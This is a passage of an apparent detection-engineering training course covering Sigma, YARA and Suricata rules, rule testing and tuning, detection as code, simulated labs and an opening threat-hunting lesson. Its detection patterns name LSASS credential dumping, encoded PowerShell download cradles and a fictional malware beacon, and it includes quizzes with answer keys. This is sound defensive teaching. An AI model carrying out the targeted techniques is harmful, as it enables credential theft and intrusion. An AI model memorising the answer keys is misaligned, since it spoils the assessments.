        GrantedAccess in ('0x1010','0x1410','0x1438')
        and not SourceImage in signed-allowlist
THRESH: count(4625) by src_ip, window 5m > 10
RARITY: process_name seen on < 3 hosts / 30d
```

WORKED EXAMPLE

A rule flags any file named `procdump.exe`. An attacker renames it to `svc.exe` and the rule is blind. The engineer redesigns: alert on a process with command line containing `'-ma'` and `'lsass'`, or on Sysmon Event 10 access to `lsass.exe` with memory-read rights from an unsigned process. Testing shows a backup agent also touches LSASS, so its signed path is allowlisted narrowly. The new rule catches the rename and keeps noise low.

KEY TERMS

Pyramid of Pain: Model ranking indicators by how hard they are for attackers to change.

Parent-child: The relationship between a launching process and the process it starts.

Threshold: A count within a time window that must be exceeded to alert.

Allowlist: A narrow exception for known-benign activity.

Evasion: Changes an attacker makes so a rule no longer matches.

REMEMBER

- Prefer behavior over brittle indicators.
- Combine command line and parent-child; handle evasion variants.
- Use baseline-driven thresholds and narrow, documented exceptions.

QUICK CHECK

1. Which indicator is hardest for an attacker to change?
 - A) Technique or behavior
 - B) File name
 - C) IP address
 - D) File hash
2. Why is winword.exe spawning powershell.exe a strong signal?
 - A) Word is unsafe
 - B) The relationship is rarely legitimate
 - C) PowerShell is malware
 - D) It is always blocked
3. How should thresholds be chosen?
 - A) By vendor default only
 - B) Always 100
 - C) From observed baselines with window and grouping
 - D) Randomly
4. What is the risk of a broad allowlist?
 - A) YAML errors
 - B) More alerts
 - C) It lets attackers hide in the excluded activity
 - D) Slower rule

Answers: 1-A 2-B 3-C 4-C

1. Behavioral procedures are costly to change.
2. Parent-child context is rarely benign.
3. Baselines ground thresholds in reality.
4. Broad exceptions create blind spots.

YARA rules

YARA identifies malware and suspicious files by patterns in content, which helps with triage, hunting across file stores and memory scanning.

Anatomy of a YARA rule

A rule has a name, optional meta, a strings section and a condition. Meta stores author, date, description and reference. Strings come in three kinds: text (\$a = "cmd.exe /c" ascii wide nocase), hexadecimal byte patterns with wildcards and jumps (\$h = { 4D 5A ?? ?? [2-4] E8 }), and regular expressions (\$r = /https?:\V[a-z0-9.]+Vgate\.php/). Modifiers such as ascii, wide, nocase, fullword and xor adapt matching to how strings appear in binaries. The condition is a boolean expression over strings and file properties.

Conditions

Conditions use string counts and sets: any of them, all of (\$s*), 2 of (\$a,\$b,\$c). File properties include filesize (for example filesize < 2MB), and uint16(0) == 0x5A4D checks the 'MZ' header of a Windows PE, while uint32(uint32(0x3C)) == 0x00004550 confirms the PE signature. Using the header check first lets YARA skip non-executables quickly. Modules like pe allow checks on imports, sections and compile timestamps, for example pe.imports("kernel32.dll", "VirtualAllocEx").

Choosing good strings

Pick strings that are unique to the family or behavior: custom mutex names, PDB paths, odd error messages, rare configuration keys, or a distinctive code sequence. Avoid common API names or strings found in legitimate software. Packed samples hide most strings, so use the packer's stub or unpacked memory dumps. Always test a rule on a clean corpus of normal files, such as a fresh OS image and common applications, to measure false positives before deployment.

Performance

Slow rules hurt scanning of large file stores. Short strings, tiny hex patterns with leading wildcards, and unbounded regexes like .* generate many candidate matches. Prefer atoms of at least 4 solid bytes, anchor conditions on cheap checks (filesize, uint16(0)) placed before expensive ones, and avoid broad regex. YARA prints performance warnings during compilation; heed them. Rule sets should be compiled and benchmarked against a representative sample set.

YARA is also useful beyond files on disk. The same rules can scan process memory, which reveals unpacked payloads that never touch disk in clear form, and they power triage in sandboxes, malware repositories and many endpoint tools. Keep rule sets organized by family or purpose, record the sample hashes each rule was built from in the meta section, and re-test them against new versions of the family. A rule that matched last year's build may miss a recompiled variant that changed its strings.

YARA RULE

```
rule Fake_Loader_Example {
  meta: author="analyst1" date="2026-10-01"
  strings:
    $mx = "Global\\fakeload_mtx_77" ascii wide
    $pdb = "C:\\build\\loader_v2\\x64\\Release" ascii
    $h = { 48 8B ?? ?? 48 83 C4 28 C3 CC CC }
  condition:
    uint16(0) == 0x5A4D and filesize < 3MB and 2 of ($mx,$pdb,$h)
}
```

WORKED EXAMPLE

An analyst unpacks a fictional loader and finds a custom mutex string and a build path. She writes strings for both plus a short code pattern, requires a PE header, filesize below 3 MB and at least two of three strings. Scanning a clean set of 20,000 files yields zero hits, and three known samples all match. A first draft that used the single string 'CreateMutex' matched 4,000 clean files, which shows why unique strings matter.

KEY TERMS

uint16(0): Reads two bytes at offset 0; 0x5A4D is the MZ header.

Hex string: A byte pattern with wildcards and jumps.

Modifier: Option such as wide or nocase that changes how a text string matches.

Atom: A short fixed byte sequence YARA uses to speed matching.

Clean corpus: A set of benign files used to measure false positives.

REMEMBER

- YARA = strings, hex, regex plus a condition.
- Gate with filesize and header checks, require several unique strings.
- Test on clean files and watch performance warnings.

QUICK CHECK

1. What does uint16(0) == 0x5A4D check?

- A) A script shebang
- B) File size
- C) The MZ header of a PE file
- D) A ZIP archive

2. Which makes a YARA rule slow?

- A) Meta fields
- B) Short strings and unbounded regex
- C) uint16 check
- D) filesize check

3. What is the best kind of string?

- A) Common API name
- B) The word 'error'
- C) Generic URL
- D) Unique mutex or PDB path

4. Why test against a clean corpus?

- A) To hash files
- B) To measure false positives
- C) To update YARA
- D) To compress rules

Answers: 1-C 2-B 3-D 4-B

1. 0x5A4D is MZ.
2. Short or broad patterns create many candidates.
3. Unique artifacts reduce false positives.
4. Clean data shows how often the rule misfires.

Snort and Suricata rules

Network rules detect known exploits, malware communications and policy violations on the wire; their syntax and buffers decide whether they match at all.

Rule anatomy

A rule has a header and options. Header: action (alert, drop, reject, pass), protocol, source address and port, direction (->), destination address and port, for example `alert http $HOME_NET any -> $EXTERNAL_NET any`. Options in parentheses are semicolon separated: `msg`, `flow`, `content`, `pcrc`, `classtype`, `sid`, `rev` and `metadata`. The `sid` is the unique rule ID; local rules conventionally use 1000000 and above, and `rev` increments with each change. Variables like `$HOME_NET` are set in the engine configuration.

Matching options

The `content` option matches bytes, with modifiers such as `nocase`, `depth`, `offset`, `distance` and `within` to constrain position. Multiple content matches are chained. `pcrc` adds regular expression matching but is slower, so Suricata and Snort recommend a `fast_pattern` content match first. The `flow` option, for example `flow:established,to_server`, limits the rule to the right direction of a tracked TCP session, which cuts false positives and cost. Thresholding and `detection_filter` limit repeated alerts.

Buffers and protocol keywords

Suricata and Snort 3 parse protocols and expose sticky buffers, so you match inside a specific field instead of the raw packet. Examples: `http.method`, `http.uri`, `http.user_agent`, `http.request_body`, `http.host`, `dns.query` and `tls.sni`. Writing `http.method; content:"POST"; http.uri; content:"/gate.php";` is both faster and more accurate than a raw payload match, and it works after the engine normalizes things like chunking. Encrypted traffic exposes only metadata such as SNI, JA3 and certificate fields.

Deployment practice

Use Emerging Threats or vendor rule sets as a base and write local rules for your environment. Test with a PCAP using `suricata -r file.pcap -l logdir` and read `eve.json` and `fast.log`. Check rule syntax with `suricata -T`. Measure performance counters since a few heavy `pcrc` rules can drop packets. Document each rule with reference and `classtype` so analysts understand an alert.

Some limits are worth knowing. Signature rules only see what the sensor can decode: with TLS everywhere, payload content is invisible without decryption, so network rules shift toward SNI, JA3 or JA4 fingerprints, certificate fields, DNS names and traffic shape. Rules also operate at line speed, so a poorly written rule can slow the sensor and cause dropped packets, which blinds every other rule. Review sensor statistics, such as the packet drop counters, after each major rule update.

SURICATA RULE

```
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"LOCAL fake beacon POST"; flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/gate.php"; fast_pattern;
  http.user_agent; content:"FakeAgent/1.0";
  classtype:trojan-activity; sid:1000001; rev:1;)
```

WORKED EXAMPLE

A fictional malware posts to `/gate.php` on a server at `203.0.113.50` with user agent `FakeAgent/1.0`. The engineer writes the rule above, runs `suricata -T` to validate, then replays a captured PCAP with `suricata -r. eve.json` shows one alert for the infected host `192.0.2.15`. A second run on a clean browsing PCAP gives no alerts. The `fast_pattern` on the URI keeps the rule efficient.

KEY TERMS

sid: Unique signature ID for a rule.

flow: Option restricting a rule to a session state and direction.

Sticky buffer: Keyword selecting a protocol field, such as `http.uri`, for following content matches.

fast_pattern: The content match used for efficient pre-filtering.

eve.json: Suricata's structured JSON event log.

REMEMBER

- Rule = action, header and semicolon-separated options.
- Use flow and sticky buffers to be precise and fast.
- Test with offline PCAP replay and read eve.json.

QUICK CHECK

1. What does flow:established,to_server do?

- A) Sets sid
- B) Matches UDP only
- C) Matches client-to-server traffic in a tracked session
- D) Drops packets

2. Why use http.uri instead of raw content?

- A) It is required by TLS
- B) It matches in the parsed field, faster and more accurate
- C) It needs no sid
- D) It is encrypted

3. Which command tests a rule against a PCAP?

- A) suricata -r file.pcap -l logs
- B) sigma convert
- C) tcpdump -w
- D) ping

4. Why put a content match before pcre?

- A) No reason
- B) Fast content filters traffic before slower regex
- C) pcre sets sid
- D) pcre is illegal

Answers: 1-C 2-B 3-A 4-B

1. It restricts to established sessions in that direction.
2. Buffers scope the match to the normalized field.
3. The -r option reads a PCAP offline.
4. Fast pattern pre-filter reduces regex cost.

Testing and tuning

Untested rules either miss attacks or drown analysts. Structured testing proves a rule works and measures its cost.

Proving detection with simulation

Atomic Red Team provides small, technique-mapped tests, for example T1003.001 for LSASS dumping or T1053.005 for scheduled tasks, that can be run in a lab to generate telemetry. Run the atomic, confirm the expected event is logged, then confirm the rule fires. If the event is missing, the failure lies in telemetry, such as a Sysmon config that does not capture it, not in the rule. Frameworks such as Caldera and tools like Invoke-AtomicRedTeam automate this, and results should be recorded per rule and technique.

Replay and benign data

Replaying saved logs or PCAPs allows repeatable tests without a live attack. Datasets from public repositories and your own incident archives can serve as malicious sets. Equally important is a benign set: weeks of real production logs, or a representative sample. Run the rule across it and count hits. Each hit is reviewed and classified as true or false positive. A rule that hits 50 times on benign data needs narrowing before it reaches the queue.

Measuring precision and noise

Precision equals true positives divided by all alerts. Recall measures how many real attacks were caught, which is harder to know and is estimated through simulations. Track alerts per day, analyst time per alert and the false positive rate. A rule with 90 percent precision and 3 alerts a week is excellent; one with 2 percent precision and 300 alerts a day is unusable. Severity should reflect confidence and impact together.

Tuning without blinding

Tuning options include adding narrow filters, raising thresholds, tightening command-line patterns, enriching with context such as asset criticality, or lowering severity. Each change must be re-tested against the malicious sample to ensure the rule still fires. Record the change and reason in the rule history. Avoid tuning by deleting alerts that are merely inconvenient; an unexplained spike may be real. Re-run the regression set after every change.

Finally, tuning is a negotiation between engineering and the analysts who handle the alerts. Gather their feedback through close reasons in the ticketing system: a close code like 'benign - known admin tool' is data that can drive a precise exception. Review the top noisy rules every week and the quiet rules every quarter. Also keep a small set of canary tests that run automatically, so you learn quickly if a log pipeline change silently breaks a detection that nobody has seen fire for months.

TEST RECORD

```
rule: lsass_access_nonsystem v3
atomic T1003.001 test: FIRED (1/1)
benign set 14d, 2.1M events: 11 hits
  9 backup agent -> allowlist signer
  2 AV scan -> allowlist path
after tuning: hits=0 benign, atomic FIRED
precision(prod, 30d): 8 TP / 10 alerts = 80%
```

WORKED EXAMPLE

A rule for PowerShell download cradles fires 120 times a day. The engineer reviews the hits and finds 110 are from a software deployment tool that runs under a service account on a known path. She adds a filter on that signed binary and account, re-runs the Atomic test to confirm it still fires, and re-runs the benign data. Daily alerts drop to 4, of which 3 are real findings from testers, giving precision near 75 percent.

KEY TERMS

Atomic Red Team: A library of small tests mapped to ATT&CK techniques.

Precision: True positives divided by all alerts.

Recall: Share of real malicious events a rule catches.

Regression test: Re-running tests after a change to confirm earlier behavior still works.

Benign set: Representative normal data used to measure false positives.

REMEMBER

- Prove rules fire using Atomic tests and replay.
- Measure precision and noise on benign data.
- Tune narrowly and regression-test every change.

QUICK CHECK

1. If an Atomic test runs but no event is logged, the problem is probably?
 - A) Missing telemetry
 - B) Git config
 - C) Too many alerts
 - D) The rule logic
2. Precision is?
 - A) $TP / \text{total events}$
 - B) FP / TP
 - C) $TP / \text{all alerts}$
 - D) Alerts per day
3. After adding a filter you should?
 - A) Re-run the malicious test to confirm it still fires
 - B) Delete the old tests
 - C) Disable the rule
 - D) Raise severity
4. Why test on benign data?
 - A) To increase recall
 - B) To count false positives before deployment
 - C) To train attackers
 - D) To satisfy YAML

Answers: 1-A 2-C 3-A 4-B

1. No event means collection is the gap.
2. Precision measures the share of alerts that are true.
3. Tuning must not remove true detection.
4. Benign hits reveal noise.

Detection as code

Treating rules like software gives review, history, automated checks and safe rollback, which keeps a growing rule set trustworthy.

Repository and workflow

Detection as code stores rules as text files, usually Sigma YAML, YARA and Suricata rule files, in a Git repository organized by platform or technique. Changes happen on branches and are merged through pull requests with at least one reviewer. The Git history provides an audit trail of who changed what and why, and tagged releases allow rollback to a known good set. This replaces ad hoc edits inside a SIEM console, where changes are untracked and hard to reverse.

Pull request review

Reviewers check the rule for a clear hypothesis, correct logsource, precise logic, documented false positives, ATT&CK tags and a test result attached to the PR. They ask whether the rule was run against benign data, whether exceptions are narrow, and whether severity and runbook link are present. A checklist template in the PR keeps reviews consistent. Review is also a learning channel where junior engineers see how experienced ones reason about evasion.

CI validation and deployment

Continuous integration runs on every PR. Typical checks: YAML lint, Sigma schema validation with sigma check, required fields such as id, status and tags, unique IDs, conversion to target backends, yara compile for syntax, suricata -T for rule syntax, and unit tests that run the rule against stored positive and negative log samples. On merge, a pipeline deploys rules to the SIEM through its API. Secrets for deployment live in a secret store, not in the repository.

Tags, changelogs and releases

Mapping tags such as attack.t1059.001 let you generate ATT&CK coverage reports and spot gaps. A changelog records each release: added, changed and retired rules, with reasons and test evidence. Semantic versions or dated releases let the SOC know what is live. Include a rule status lifecycle (experimental, test, stable, deprecated) so consumers know how far to trust a rule.

Branching strategy should stay simple: short-lived feature branches off main, small pull requests that change one rule or one related group, and protected main branch requiring passing CI and approval. Large dumps of dozens of rules are impossible to review properly. Some teams add a staging environment where merged rules run in silent mode for a week before a second promotion step moves them to production alerting. That mirrors the lifecycle from the first lesson and makes the whole workflow auditable end to end.

CI LOG

```
$ sigma check rules/
OK rules/win/proc_office_ps_enc.yml
FAIL rules/win/susp_task.yml: missing field 'logsource'
$ yara -C compiled.yarc rules/yara/*.yar -> OK
$ suricata -T -S local.rules -> OK
$ pytest tests/ -> 41 passed, 1 failed (susp_task: no FP sample)
Pipeline result: BLOCKED
```

WORKED EXAMPLE

An engineer opens a pull request adding a scheduled task rule. CI fails because the logsource is missing and no benign sample test exists. The reviewer also notes the ATT&CK tag points to the wrong technique. The engineer fixes the YAML, adds positive and negative samples, corrects the tag to attack.t1053.005, and CI passes. After approval the rule merges, deploys to the SIEM, and release 2026.10 lists it under added rules.

KEY TERMS

Pull request: A proposed change reviewed before merging.

CI: Automated checks that run on each change.

Changelog: A record of what changed in each release.

ATT&CK tag: Metadata mapping a rule to a MITRE technique.

Rollback: Returning to a previous known good release.

REMEMBER

- Rules live in Git with PR review and a checklist.
- CI validates syntax, schema and sample tests before deployment.
- Tags, changelogs and releases keep coverage and changes visible.

QUICK CHECK

1. Main benefit of storing rules in Git?
 - A) Free licenses
 - B) History, review and rollback
 - C) Faster searches
 - D) Smaller rules
2. Which is a typical CI check?
 - A) Printing the rules
 - B) Schema validation and unit tests on samples
 - C) Disabling alerts
 - D) Rebooting the SIEM
3. Why map rules to ATT&CK tags?
 - A) Required by YARA
 - B) To report coverage and gaps
 - C) To speed matching
 - D) To encrypt rules
4. Where should deployment credentials live?
 - A) In the repo
 - B) In the rule YAML
 - C) In a secret store
 - D) In the PR title

Answers: 1-B 2-B 3-B 4-C

1. Version control gives auditability.
2. CI validates syntax and behavior.
3. Tags enable coverage analysis.
4. Secrets must not be committed.

Write a Sigma rule

SCENARIO

You are given a half-finished Sigma rule file for a fictional company, example.com. Analysts saw winword.exe launch powershell.exe with a long Base64 argument on workstation WS-014 and want a reusable detection. The logsource and metadata are present; the detection block is empty and the condition is missing.

OBJECTIVE

Complete the detection and condition so the rule matches encoded PowerShell started by an Office process.

STEPS IN THE SIMULATOR

- 1 **Do:** Open rule.yml and read the logsource block

Simulator shows:

logsource: category process_creation, product windows. detection: (empty)

- 2 **Do:** Add selection_parent with ParentImage|endswith for winword.exe and excel.exe

Simulator shows:

Editor: field ParentImage accepted, 2 values (OR)

- 3 **Do:** Add selection_child with Image|endswith '\powershell.exe'

Simulator shows:

Editor: Image accepted

- 4 **Do:** Add CommandLine|contains with ' -enc' and ' -EncodedCommand' in selection_child

Simulator shows:

Editor: 2 values under CommandLine (OR), ANDed with Image

- 5 **Do:** Set condition: selection_parent and selection_child

Simulator shows:

Syntax check: OK

- 6 **Do:** Click Test against sample.log

Simulator shows:

Matches: 1 of 5000 events (WS-014 winword.exe -> powershell.exe -enc JABz...). Benign sample: 0 hits

- 7 **Do:** Add falsepositives and level: high, then Save

Simulator shows:

Rule saved. sigma check: PASS

ANSWER

The finished rule uses selection_parent (Office parent images), selection_child (powershell.exe with an encoded-command flag) and condition selection_parent and selection_child. It matches the single malicious event on WS-014 and none of the benign sample.

Hint shown in the app: Fields inside one selection are ANDed; lists of values are ORed.

Fix an over-broad rule

SCENARIO

A SIEM rule named 'PowerShell Execution' fires 300 times a day on the fictional network of example.com and analysts are ignoring it. The rule matches any process whose Image ends with powershell.exe. Logs show most hits come from a patch tool, but real attacks also use PowerShell.

OBJECTIVE

Narrow the rule using parent process and command-line conditions, then re-run to confirm noise drops and the true detection stays.

STEPS IN THE SIMULATOR

- 1 **Do:** Run the existing rule over the last 24 hours

Simulator shows:

Result: 312 events. Top parent: ccmexec.exe (261), explorer.exe (40), winword.exe (3), other (8)

- 2 **Do:** Inspect the 3 winword.exe events

Simulator shows:

All 3: ParentImage winword.exe, CommandLine contains '-w hidden -enc'. Host WS-014

- 3 **Do:** Add condition ParentImage in (winword.exe, excel.exe, outlook.exe, wmiprvse.exe)

Simulator shows:

Preview: 14 events

- 4 **Do:** Add condition CommandLine contains ('-enc', '-w hidden', 'DownloadString')

Simulator shows:

Preview: 4 events

- 5 **Do:** Add exclusion for ccmexec.exe signed by the software management vendor

Simulator shows:

Preview: 4 events, 0 from ccmexec.exe

- 6 **Do:** Re-run against the 24-hour data and the stored malicious sample

Simulator shows:

24h: 4 hits (3 WS-014 real, 1 admin test). Sample: DETECTED

- 7 **Do:** Save the rule as v2 with a change note

Simulator shows:

Saved: v2, projected volume 4 per day

ANSWER

The tuned rule requires an Office or WMI parent plus suspicious command-line markers and excludes the signed patch tool. It dropped from 312 to 4 daily events while still detecting the malicious WS-014 activity.

Hint shown in the app: Look at the top parent processes first; most noise usually comes from one tool.

Write a YARA rule

SCENARIO

An analyst unpacked a fictional loader sample, loader_x.bin, and found a custom mutex string, a build path, and a short code pattern. A folder of 500 clean files is available for validation. The goal is a rule that matches the loader but not clean software.

OBJECTIVE

Create a YARA rule using unique strings and PE conditions, and verify it against the clean set.

STEPS IN THE SIMULATOR

- 1 **Do:** Open strings.txt from the analysis

Simulator shows:

Found: Global\fakeload_mtx_77, C:\build\loader_v2\x64\Release, hex 48 8B ?? ?? 48 83 C4 28 C3

- 2 **Do:** Define \$mx as the mutex string with ascii wide

Simulator shows:

Compiler: string \$mx OK

- 3 **Do:** Define \$pdb as the build path and \$h as the hex pattern

Simulator shows:

Compiler: 3 strings OK

- 4 **Do:** Set condition: uint16(0) == 0x5A4D and filesize < 3MB and 2 of (\$mx,\$pdb,\$h)

Simulator shows:

Compile: OK, no performance warnings

- 5 **Do:** Run against loader_x.bin

Simulator shows:

MATCH: Fake_Loader_Example loader_x.bin

- 6 **Do:** Run against the clean folder (500 files)

Simulator shows:

0 matches in 500 files

- 7 **Do:** Try replacing \$mx with the string 'CreateMutex' and rerun clean set

Simulator shows:

Matches: 212 of 500 (rule rejected as too generic). Revert change

ANSWER

The rule uses the unique mutex, PDB path and code pattern with a PE header and size gate, requiring any two strings. It matches the loader and none of the 500 clean files. Generic strings like CreateMutex cause false positives.

Hint shown in the app: Choose strings that exist only in this family, not API names.

Suricata signature

SCENARIO

Fictional malware on host 192.0.2.15 sends HTTP POST requests to /gate.php with user agent FakeAgent/1.0 to the server 203.0.113.50. You have local.rules open and a PCAP named beacon.pcap to test with.

OBJECTIVE

Write a Suricata rule that alerts on that traffic and verify it on the PCAP.

STEPS IN THE SIMULATOR

- 1 Do:** Start the rule: alert http \$HOME_NET any -> \$EXTERNAL_NET any
Simulator shows:
Editor: header parsed OK
- 2 Do:** Add msg and flow:established,to_server
Simulator shows:
Editor: options accepted
- 3 Do:** Add http.method; content:"POST"; and http.uri; content:"/gate.php"; fast_pattern;
Simulator shows:
Editor: sticky buffers OK, fast_pattern set
- 4 Do:** Add http.user_agent; content:"FakeAgent/1.0";
Simulator shows:
Editor: OK
- 5 Do:** Add classtype:trojan-activity; sid:1000001; rev:1;
Simulator shows:
suricata -T: configuration OK, 1 rule loaded
- 6 Do:** Run suricata -r beacon.pcap -l out/
Simulator shows:
Processed 8210 packets, 1 alert written
- 7 Do:** Open out/eve.json
Simulator shows:
alert: LOCAL fake beacon POST, src 192.0.2.15 -> dst 203.0.113.50:80, sid 1000001

ANSWER

The rule matches POST requests to /gate.php with user agent FakeAgent/1.0 in established client-to-server flows and produced exactly one alert from 192.0.2.15 to 203.0.113.50 on the PCAP, with a valid unique sid.

Hint shown in the app: Use sticky buffers like http.uri rather than raw content.

Review a detection PR

SCENARIO

A teammate opened a pull request adding a new rule, `susp_schtasks_create.yml`, to the shared detections repository for `example.com`. You are the reviewer. The PR description says 'tested, looks good' with no evidence attached. Use the chat to inspect the diff and discuss with the author.

OBJECTIVE

Find the missing logsource and the untested false positives, and request changes.

STEPS IN THE SIMULATOR

1 Do: Open the PR diff

Simulator shows:

File shows title, description, detection selection on `schtasks.exe` with `'/create'`. No logsource block

2 Do: Ask the author: where is the logsource?

Simulator shows:

Author: 'Oh, I forgot it, the converter worked anyway.' CI log: sigma check FAIL missing logsource

3 Do: Ask for the benign test results

Simulator shows:

Author: 'I only ran the Atomic test. Did not run it on production logs.'

4 Do: Run the rule on 14 days of benign data via the review tool

Simulator shows:

Result: 87 hits, 80 from a backup agent running `schtasks.exe /create`

5 Do: Check tags and falsepositives fields

Simulator shows:

Tag `attack.t1053.005` is correct. `falsepositives`: empty

6 Do: Post review: request changes

Simulator shows:

Review posted: add logsource (`process_creation`, `windows`), allowlist signed backup agent, document falsepositives, attach benign test results

7 Do: Author pushes fix, re-run CI

Simulator shows:

CI: all checks pass, benign hits 3 per 14 days. Review: approve

ANSWER

The PR lacked a logsource block and had never been tested against benign data, which produced 87 hits mostly from a backup agent. Changes requested: add logsource, narrow with a signed allowlist, document false positives, include test evidence.

Hint shown in the app: Ask what evidence supports 'tested' and check CI output.

Detection Engineering: 10 questions, 80% to pass

1. Which Sigma block states what kind of log a rule applies to?
 - A) falsepositives
 - B) logsource
 - C) level
 - D) tags
2. In a Sigma rule, a selection with fields Image and CommandLine requires?
 - A) Either field
 - B) Both fields to match
 - C) Neither
 - D) Only the first
3. Which indicator is most costly for an attacker to change?
 - A) IP
 - B) Technique behavior
 - C) Tool name
 - D) Hash
4. What does `uint16(0) == 0x5A4D` check in YARA?
 - A) filesize
 - B) XOR key
 - C) PE MZ header
 - D) Zip header
5. Which Suricata option limits a rule to client requests in a tracked TCP session?
 - A) `flow:established,to_server`
 - B) `sid`
 - C) `rev`
 - D) `classtype`
6. Precision is calculated as?
 - A) True positives / all alerts
 - B) Rules / day
 - C) False negatives / TP
 - D) Alerts / hosts
7. An Atomic test produces no event in logs. Next step?
 - A) Check telemetry and logging configuration
 - B) Delete the test
 - C) Rewrite the rule
 - D) Raise severity
8. Why run a rule on benign data before deployment?
 - A) To train analysts
 - B) To convert syntax
 - C) To count false positives
 - D) To compress logs
9. Which CI check catches a missing required Sigma field?
 - A) Schema validation
 - B) Compression
 - C) Rebasing
 - D) DNS lookup
10. A rule keeps firing on a signed patch tool. Best tuning?
 - A) Disable the rule
 - B) Lower threshold to zero
 - C) Delete alerts
 - D) Narrow exclusion of that signed binary, then re-test the malicious sample

Answers: 1-B 2-B 3-B 4-C 5-A 6-A 7-A 8-C 9-A 10-D

1. logsource abstracts the log type.
2. Fields in one selection are ANDed.
3. Behavior sits at the top of the Pyramid of Pain.
4. MZ marks DOS/PE executables.
5. flow restricts state and direction.
6. Precision is the share of alerts that are real.
7. Without the event there is nothing to detect.
8. Benign hits show noise.
9. Schema validation enforces fields.
10. Narrow filters plus regression testing preserve detection.

Threat Hunting

Advanced | 5 lessons | 4 simulated labs | checkpoint | about 5h 05m

Threat hunting is the proactive search for adversary activity that automated alerts missed. This module teaches you to separate hunting from alert triage, write testable hypotheses from threat intelligence and MITRE ATT&CK, match them to telemetry such as Sysmon, DNS and proxy logs, and apply methods like stacking, baselining and beacon analysis. You will finish by documenting a hunt and converting findings into permanent detections, so each hunt leaves the SOC stronger than before.

BY THE END YOU CAN

- + Form testable hunt hypotheses from threat intel and ATT&CK
- + Select data sources and methods such as stacking and baselining
- + Document hunt results and convert findings into detections

IN THIS MODULE

Lesson 1 Hunting concepts and hypotheses

Lesson 2 Data sources and hunt scoping

Lesson 3 Hunt methods: stacking and baselining

Lesson 4 Anomaly detection and beacon hunting

Lesson 5 Hunt reporting and operationalizing

Lab 1 Write a hypothesis (Chat sim)

Lab 2 Stack the processes (Mock SIEM)

Lab 3 Hunt for beacons (Log viewer)

Lab 4 Write the hunt report (Scenario)

Checkpoint 10 questions, 80% to pass

Hunting concepts and hypotheses

Hunting finds what detections missed and feeds new detections back. A weak hypothesis wastes days; a strong one produces a clear yes or no.

Hunting versus triage

Alert triage is reactive: an alert fires and an analyst decides whether it is real. Threat hunting is proactive and analyst-initiated: nothing has alerted, but the hunter assumes an adversary may already be inside and looks for evidence. Hunting works on the assumption that detections have gaps, because attackers adapt, telemetry is incomplete and rules are imperfect. The outcome of a hunt is not only an incident. Equally valuable results are a new detection rule, a discovered logging gap, a hardening recommendation, or documented confirmation that a technique was not present in the scope examined.

What a good hypothesis looks like

A hypothesis is a testable statement tied to a technique, an environment and observable data. Compare 'attackers might be persisting' with 'an adversary using scheduled tasks (ATT&CK T1053.005) on servers would create tasks via schtasks.exe or event 4698 whose action runs from C:\Users\Public or a temp directory'. The second names the behavior, the data source, and what would be suspicious. It can be proven false. Good hypotheses also state the time window and the asset scope, for example 'all domain controllers and file servers over the last 30 days'.

Where hypotheses come from

Sources include threat intelligence reports about groups targeting your sector, ATT&CK technique lists for those groups, recent incidents, red team reports, newly disclosed vulnerabilities, and gaps found in a coverage map. A common approach is to pick a technique with no detection, read how it is performed in practice, and ask what trace it leaves. Intelligence-driven hunts start from known actor behavior; situational hunts start from an organizational concern such as a new cloud deployment; analytics-driven hunts start from anomalies in the data itself.

The hunt loop

A typical loop is: form the hypothesis, identify data and scope, collect and query, analyze results, pivot on anything interesting, then conclude and document. Hunts are time-boxed, often a few days, so they do not become endless exploration. Each pivot should be recorded: the query run, the number of results, what was excluded and why. If the hunt finds malicious activity, it hands off to incident response with the evidence. If it finds nothing, the record still shows what was checked, which prevents duplicate effort later.

Hunters also need discipline about bias. It is tempting to stop at the first suspicious result or to chase an interesting but irrelevant anomaly. Write down what would count as disproof before running the query, and compare results against it. Collaboration with the detection and intelligence teams also sharpens hypotheses: they know which alerts already cover a technique and which actors are active against your sector.

HYPOTHESIS CARD

```
hypothesis: Adversary persists via scheduled task (T1053.005)
scope: servers (240 hosts), last 30 days
data: Sec 4698, Sysmon 1 (schtasks.exe), Sysmon 11
suspicious: action path in user-writable dir; created by non-admin; task name mimics system task
outcome: confirm / refute / log gap
time box: 3 days
```

WORKED EXAMPLE

A fictional report says a group uses scheduled tasks named like Windows updates but pointing to files in C:\ProgramData. The hunter writes the hypothesis above, queries event 4698 across 240 servers for 30 days, finds 1,900 task creations, and filters those whose action path is in ProgramData or Temp. Twelve remain, eleven from a known installer, and one named 'WindowsUpdateCheck' runs a script from a user folder on host SRV-22, which becomes an escalation to incident response.

KEY TERMS

Hypothesis: A testable statement of adversary behavior, data and scope.

Proactive: Initiated by the analyst without a triggering alert.

Intelligence-driven hunt: A hunt based on known adversary techniques from reports.

Time box: A fixed limit on how long a hunt runs.

Pivot: Following a finding into related data.

REMEMBER

- Hunting is proactive and starts from a hypothesis, not an alert.
- Good hypotheses name a technique, data, scope and suspicious traits.
- Outcomes include incidents, detections, hardening and logging-gap findings.

QUICK CHECK

1. What distinguishes hunting from triage?

- A) Triage is slower
- B) Hunting is proactive and not triggered by an alert
- C) Hunting has no data
- D) Hunting uses only AI

2. Which is the best hypothesis?

- A) Logs are large
- B) Scheduled tasks on servers with action paths in user-writable directories indicate T1053.005 persistence
- C) Attackers are in the network
- D) Malware exists

3. A hunt finds nothing. Is the hunt wasted?

- A) Only if repeated
- B) No, it can refute the hypothesis and expose logging gaps
- C) Yes
- D) Only if shorter

4. Why time-box a hunt?

- A) To skip documentation
- B) Hunts must end at midnight
- C) To avoid endless exploration
- D) To reduce logs

Answers: 1-B 2-B 3-B 4-C

1. Hunters start without an alert.
2. It names technique, data and what is suspicious.
3. Negative results and gaps are valuable outputs.
4. Time boxes keep hunts focused.

Data sources and hunt scoping

A hypothesis is only testable if the right telemetry exists and is retained. Matching question to data is the core hunting skill.

Mapping techniques to telemetry

Each technique leaves traces in specific data. Process creation: Sysmon Event ID 1 and Windows Security 4688 with command-line auditing. Network connections by process: Sysmon Event ID 3. DNS queries: Sysmon Event ID 22 or DNS server and resolver logs. File creation: Sysmon 11. Registry persistence: Sysmon 12, 13 and 14. Scheduled tasks: Security 4698. Logons: 4624 and 4625 with logon types. Web egress: proxy logs with URL, user agent, bytes and status. Flow data and firewall logs supply volume and timing. Choosing the data first prevents building queries that can never return an answer.

Scoping the hunt

